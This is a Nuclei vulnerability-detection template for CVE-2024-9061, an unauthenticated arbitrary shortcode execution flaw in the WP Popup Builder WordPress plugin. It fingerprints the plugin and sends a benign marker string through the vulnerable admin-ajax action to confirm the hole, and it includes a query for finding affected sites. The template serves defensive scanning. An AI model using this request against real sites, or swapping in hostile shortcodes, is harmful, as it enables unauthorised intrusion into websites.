WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution

id: CVE-2024-9061

info:
  name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
  author: s4e-io
  severity: high
  description: |
    The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
  impact: |
    Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation.
  remediation: |
    Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9061
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0cac1dc0-87dc-43eb-9db1-638a91200b43?source=cve
    - https://github.com/RandomRobbieBF/CVE-2024-9061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-9061
    cwe-id: CWE-94
    epss-score: 0.89
    epss-percentile: 0.99543
  metadata:
    max-request: 2
    verified: true
    vendor: themehunk
    product: wp-popup-builder
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-popup-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-popup-builder,shortcode,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/wp-popup-builder")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=shortcode_Api_Add&shortcode=%43%56%45%2d%32%30%32%34%2d%39%30%36%31

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 13'
          - 'contains(body, "CVE-2024-9061")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100947124dd5c9e23ba672c400c2e62e839c4a39e2b7a60e6ed2e6b2c227f8e5600022100ef3b42574fd9aeabc4ce8a5d3fc2b43ec7e151df91139f601f3c726b80e4a033:922c64590222798bb761d5b6d8e72950